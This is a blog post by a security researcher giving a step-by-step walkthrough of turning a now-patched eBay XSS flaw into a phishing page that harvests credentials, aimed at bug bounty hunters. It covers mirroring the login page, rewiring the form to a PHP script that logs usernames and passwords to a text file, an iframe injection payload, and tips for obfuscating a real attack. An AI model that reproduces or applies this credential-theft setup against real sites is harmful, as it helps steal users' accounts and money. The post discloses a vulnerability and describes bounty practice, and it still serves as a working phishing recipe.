Hello, world. This blog post will highlight exactly how easy it is to exploit XSS vulnerabilities in large sites, and will also highlight how little these companies actually care (until they run the risk of being publicly exposed). I’ll be keeping this post fairly short, just showing a quick demonstration of how easy it is to exploit things like this. As of writing this blog post, the vulnerability is now patched – but it should be pointed out that I waited a month with no response from eBay, and they only rushed to patch the vulnerability after the media contacted them about it.

By reading this blog, you should gain an understanding of how simple it is to set up a login credential harvesting PoC via a spear-phishing attack, which should allow you to increase your impact for XSS vulnerabilities and hopefully get higher payouts as a result. Triage teams will appreciate stuff like this a lot more than merely popping an alert(1) – especially if they ask you to demonstrate impact.

Note, that this demo regarding setting up the spear phishing payload is specific to eBay – that being said, you can apply these same techniques to pretty much any site that is vulnerable to XSS, with only a few minor tweaks.

Take the following URL:


Screenshot of live URL:


This is a fairly basic vulnerability on a site where XSS would generally be considered a huge issue (even moreso since the main domain is involved). It should be noted that while the following URL is crafted to display the document.cookie output, cookies cannot be stolen due to the HttpOnly flag being set.

In the cases of some sites, spear phishing is considered useless (for example if the site does not have a large userbase that requires logins), although in the case of this site, spear phishing has many valid uses – it could be used to steal funds from people, use trusted eBay accounts to scam other users, and more.

First I am going to explain the steps required to setup an authentic looking phishing page, then I am going to apply these steps to eBay to show how easily this can be achieved. Obviously the first step would be to obtain a copy of the website’s source for the login page. You could do this by saving the source code after viewing it manually, but this is time consuming and inefficient, as for the page to look identical you would need to individually download every single image that’s on the page and ensure that they are saved in the correct directories, as well as creating a bunch of relevant directories or altering the paths to images and other pages in the source code. Alternatively you can use some website mirroring software to automate this process, which is what I suggest doing.

The software I suggest using is WebHTTrack, because it is efficient, easy to use, and cross platform. To install it on windows, just download the executable and run it. To install on linux (debian based) use the following commands:

apt-get update

apt-get install webhttrack

To install on other distros (such as CentOS/RHEL) just wget/cURL the tarball and unpack it then configure, the following commands can be used:

yum install zlib-devel

wget http://download.httrack.com/cserv.php3?File=httrack.tar.gz -O httrack.tar.gz

tar xvfz httrack.tar.gz


make && make install

The screenshots below will detail the process required to mirror the site via WebHTTrack (for this demonstration I will be using the web-based client for linux):


This page should launch locally in your browser after running the app


The next step is to choose your project name and set the path to where you want the files to be mirrored


After this, its just a case of inputting the URL to the page you want to mirror. There are also some other additional options you can select, but the default options will work fine.

After this, the mirroring process will begin. If all goes well, you should have all of the files for the page you specified, downloaded to the directory that you specified:


After this, you need to change the form inputs for the page (for the login form) to send data to your PHP script (more on this soon), rather than a login script that is part of eBay:


Use a text editor to search for the form tag within the HTML source for the login page, and change the action= attribute to point to the name of your PHP script. After this you’ll want to upload the relevant files to your site (presumably in the /var/www/html directory). To do this I suggest using an FTP/SFTP client such as FileZilla.

Once you’ve got the files uploaded to the relevant directory, its time to make the PHP script (obviously you’ll need PHP installed alongside your HTTP daemon for this), here is the script I used:

root@MLT:/var/www/html/ebay/signin.ebay.com/ws# cat log.php

file_put_contents(“log.txt”, $_GET[‘1383430133’].”:”.$_GET[‘1794992350’].PHP_EOL,FILE_APPEND);

die(header(‘Location: http://ebay.com/&#8217;));

If you’re modifying this for another site, you’ll need to change the GET inputs to match those relevant to the site in question.

Next, you’ll have to ensure that the permissions are correctly setup so that you can write to your logfile (log.txt), the following command can be used:

chmod +x log.txt

After this, you can test it locally on your site by loading the login form and entering a username and password, then checking log.txt to see if it writes to it as expected.

The next step is to include the link to your phishing page within the context of the vulnerable site. In the example of ebay, the XSS vulnerability was not tag-based but was rather pure javascript, so rather than including an iframe directly as input to the ?url= get param, the javascript document.write function needed to be used to write the HTML contents to the page and embed the iframe.

In the case of eBay, the iframe containing my phishing page was injected to the page using the following payload:

document.write(‘<iframe src=”; width=”1500″ height=”1000″>’)

This is a badly-crafted URL and would not work well in a realistic phishing secnario. In a realistic scenario, the URL would be obfuscated, and rather than injecting all of the code through document.write, it would make more sense to use fetch(); to grab a remote .js file, and then have that file load the HTML to inject the fake login form. For the purposes of this demonstration though, this will work fine.

Here is the final URL:


Below is a screenshot of the injected login form:


After the user credentials are entered on the phishing page that appears to be part of ebay.com, a GET request is made to log.php on my server and the inputs are written to log.txt available for me to read in plaintext.

Here is a video proof-of-concept, demonstrating the ability to log passwords via the fake form:

This post was intended for beginners to give them an understanding of what steps are required to setup a phishing page to be used for spear phishing. I will update this post later with my correspondance with ebay, to give anyone who’s reading this an idea of how you should not handle security incidents relating to your site.

Hope you enjoyed. That’s all for now.